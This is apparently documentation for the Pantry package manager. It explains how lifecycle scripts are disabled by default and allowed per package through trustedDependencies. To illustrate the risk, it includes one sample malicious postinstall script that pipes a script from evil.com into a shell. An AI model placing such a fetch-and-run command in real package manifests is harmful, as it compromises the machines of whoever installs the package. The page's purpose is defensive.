Pantry - Modern Package Management
⌘ K
HomeGuideQuick StartConfigurationFeaturesGitHub

Lifecycle Scripts

> How Pantry handles package lifecycle scripts securely

Packages on npm can define lifecycle scripts in their package.json. These are arbitrary shell commands that the package manager executes at specific times during the package lifecycle.

Unlike other npm clients, Pantry does not execute arbitrary lifecycle scripts by default. This security-first approach protects you from potentially malicious code in dependencies.

Lifecycle Script Types

Pantry supports the following lifecycle scripts:

Installation Scripts

  • preinstall: Runs before the package is installed
  • postinstall: Runs after the package is installed
  • prepare: Runs after install and before publish
  • preprepare: Runs before prepare
  • postprepare: Runs after prepare

Uninstallation Scripts

  • preuninstall: Runs before the package is uninstalled
  • postuninstall: Runs after the package is uninstalled

Publishing Scripts

  • prepublishOnly: Runs before the package is published (not on install)

The Security Problem

These scripts represent a potential security risk because they:

  1. Execute arbitrary shell commands
  2. Run with your user's permissions
  3. Can access your filesystem and environment
  4. May contain malicious code from compromised packages

Example of a malicious postinstall script:

{
  "scripts": {
    "postinstall": "curl https://evil.com/steal.sh | sh"
  }
}

Pantry's Security Model

Pantry uses a "default-secure" approach:

  1. Scripts are disabled by default - No scripts run unless explicitly allowed
  2. Trusted dependencies list - You control which packages can run scripts
  3. Default trusted packages - Top 500 npm packages with scripts are pre-approved
  4. Easy opt-out - Use --ignore-scripts to disable all scripts

postinstall Scripts

The postinstall script is particularly important. It's widely used to build or install platform-specific binaries for packages implemented as native Node.js add-ons.

For example, node-sass uses postinstall to build a native binary for Sass:

{
  "name": "my-app",
  "version": "1.0.0",
  "dependencies": {
    "node-sass": "^6.0.1"
  }
}

trustedDependencies

To allow lifecycle scripts for specific packages, add them to the trustedDependencies array in your package.json:

{
  "name": "my-app",
  "version": "1.0.0",
  "trustedDependencies": ["node-sass", "sharp", "esbuild"],
  "dependencies": {
    "node-sass": "^6.0.1",
    "sharp": "^0.32.0",
    "esbuild": "^0.19.0"
  }
}

How It Works

When you add a package to trustedDependencies:

  1. Pantry reads this field during installation
  2. Lifecycle scripts for trusted packages are executed
  3. Scripts for untrusted packages are skipped with a warning

Adding Trusted Dependencies

When a package needs lifecycle scripts, Pantry will warn you:

�  Package 'my-custom-package' has lifecycle scripts but is not trusted
   Add to trustedDependencies in package.json to enable:
   {
     "trustedDependencies": ["my-custom-package"]
   }

Add the package name to trustedDependencies and run pantry install again.

Default Trusted Packages

As of Pantry v1.0, the top 500 npm packages with lifecycle scripts are allowed by default. This includes popular packages like:

  • Native addons: node-sass, sharp, canvas, sqlite3, bcrypt
  • Build tools: esbuild, swc, @swc/core, node-gyp
  • Browser automation: puppeteer, playwright, chromedriver
  • Development tools: husky, patch-package, electron
  • And many more...

See the full list in the source code.

Why Default Trust

These packages are:

  1. Widely used: Downloaded millions of times per week
  2. Well maintained: Active communities and security oversight
  3. Necessary: Often require native compilation or platform-specific setup
  4. Vetted: Part of the npm ecosystem's core infrastructure

--ignore-scripts

To disable lifecycle scripts for all packages (including trusted ones), use the --ignore-scripts flag:

pantry install --ignore-scripts

This is useful for:

  • CI/CD pipelines: Faster, more predictable builds
  • Security audits: Installing without executing code
  • Debugging: Isolating installation issues
  • Air-gapped environments: When network access is restricted

Examples

Basic Usage

Install packages with default security (trusted packages can run scripts):

$ pantry install

 Installed react@18.0.0
 Installed node-sass@6.0.1
   Running postinstall script... (building native addon)
�  Skipped scripts for untrusted-package (not in trustedDependencies)

Adding a Trusted Package

When a package needs scripts:

$ pantry add custom-native-module

�  Package 'custom-native-module' has postinstall script but is not trusted
   Add to package.json trustedDependencies to enable

Edit package.json:

{
  "trustedDependencies": ["custom-native-module"]
}

Run install again:

$ pantry install

 Running postinstall for custom-native-module
   Building native bindings...

Disabling All Scripts

For maximum security or CI environments:

$ pantry install --ignore-scripts

 Installed all packages (scripts disabled)
�  Some packages may not work correctly without scripts:

    * node-sass (needs postinstall)
    * sharp (needs postinstall)

Multiple Trusted Packages

Add multiple packages to the trusted list:

{
  "name": "my-project",
  "version": "1.0.0",
  "trustedDependencies": [
    "node-sass",
    "sharp",
    "canvas",
    "sqlite3",
    "@tensorflow/tfjs-node",
    "my-custom-binary"
  ],
  "dependencies": {
    "node-sass": "^6.0.1",
    "sharp": "^0.32.0",
    "canvas": "^2.11.0",
    "sqlite3": "^5.1.0",
    "@tensorflow/tfjs-node": "^4.0.0",
    "my-custom-binary": "^1.0.0"
  }
}

Workspace Configuration

In monorepos, trustedDependencies can be set at the workspace root:

{
  "name": "my-monorepo",
  "version": "1.0.0",
  "workspaces": ["packages/*"],
  "trustedDependencies": [
    "node-sass",
    "sharp",
    "esbuild"
  ]
}

All workspace members inherit the trusted dependencies list.

Script Output

By default, Pantry shows when scripts are running:

$ pantry install node-sass

 Installing node-sass@6.0.1
   Running postinstall...
     Building native addon for your platform...
      Build complete

Use verbose mode for full script output:

$ pantry install --verbose

Running script: postinstall
  Command: node scripts/build.js
  CWD: /path/to/node*modules/node-sass
  stdout: Downloading binary from GitHub...
          Binary saved to vendor/darwin-arm64/binding.node
  stderr: (none)
  exit code: 0

Security Best Practices

1. Minimize Trusted Dependencies

Only trust packages that absolutely need scripts:

// Good - minimal trust
{
  "trustedDependencies": ["node-sass"]
}

// Bad - too permissive
{
  "trustedDependencies": ["*"]  // Don't do this!
}

2. Review Before Trusting

Before adding to trustedDependencies:

  1. Check the package's package.json to see what the script does
  2. Look for the package on npm to verify it's legitimate
  3. Check the package's GitHub repository for the script source
  4. Verify the package is actively maintained
  5. # View the package's scripts
    npm view node-sass scripts
    
    # Check package info
    npm view node-sass

3. Use --ignore-scripts in CI

Disable scripts in CI for faster, more secure builds:

# .github/workflows/ci.yml
steps:

  * run: pantry install --ignore-scripts
  * run: pantry test

4. Pin Versions

Pin trusted packages to specific versions:

{
  "trustedDependencies": ["node-sass"],
  "dependencies": {
    "node-sass": "6.0.1"  // Pinned, not "^6.0.1"
  }
}

5. Audit Regularly

Check which packages have scripts:

# List all packages with lifecycle scripts
pantry audit --scripts

# Output
# Packages with lifecycle scripts
#  node-sass (trusted)
#  suspicious-package (not trusted)

Troubleshooting

Issue: Package doesn't work after install

Problem: Native module not building

Solution: Add package to trustedDependencies

{
  "trustedDependencies": ["package-name"]
}

Issue: Scripts running slowly

Problem: Scripts timeout or hang

Solution: Increase timeout or use --ignore-scripts

# Disable scripts for faster install
pantry install --ignore-scripts

# Or build manually after install
pantry install --ignore-scripts
npm rebuild node-sass

Issue: "Command not found" in script

Problem: Script uses tools not in PATH

Solution: Ensure build tools are installed:

# macOS
xcode-select --install

# Linux
sudo apt-get install build-essential

# Then install
pantry install

Issue: Script permissions denied

Problem: Script can't write to filesystem

Solution: Check directory permissions

# Fix node*modules permissions
chmod -R u+w node*modules/

# Or install with correct permissions
pantry install

Comparison with npm/yarn/bun

Feature Pantry npm yarn bun
Scripts by default L Disabled  Enabled  Enabled L Disabled
Trusted list  L L 
Default trusted  Top 500 N/A N/A  Top 500
--ignore-scripts    
Per-package trust  L L 
Security warnings  L L 

Advanced Usage

Environment Variables

Lifecycle scripts have access to special environment variables:

# Available in scripts
# npm*package*name - Package name
# npm*package*version - Package version
# npm*config** - All npm config values
# NODE*ENV - Usually "production" or "development"

Custom Script Timeout

Configure timeout for long-running scripts:

# Default is 2 minutes (120000ms)
PANTRY*SCRIPT*TIMEOUT=300000 pantry install

Conditional Scripts

Scripts can check environment:

{
  "scripts": {
    "postinstall": "node -e \"if (process.env.CI) { console.log('Skipping in CI'); process.exit(0); } else { require('./build'); }\""
  }
}

Programmatic Usage

Use lifecycle API in your code:

const { lifecycle } = require('ts-pantry');

// Run a specific lifecycle script
await lifecycle.runLifecycleScript({
  packageName: 'node-sass',
  scriptType: 'postinstall',
  packagePath: './node_modules/node-sass',
  options: {
    ignoreScripts: false,
    verbose: true,
  }
});

See Also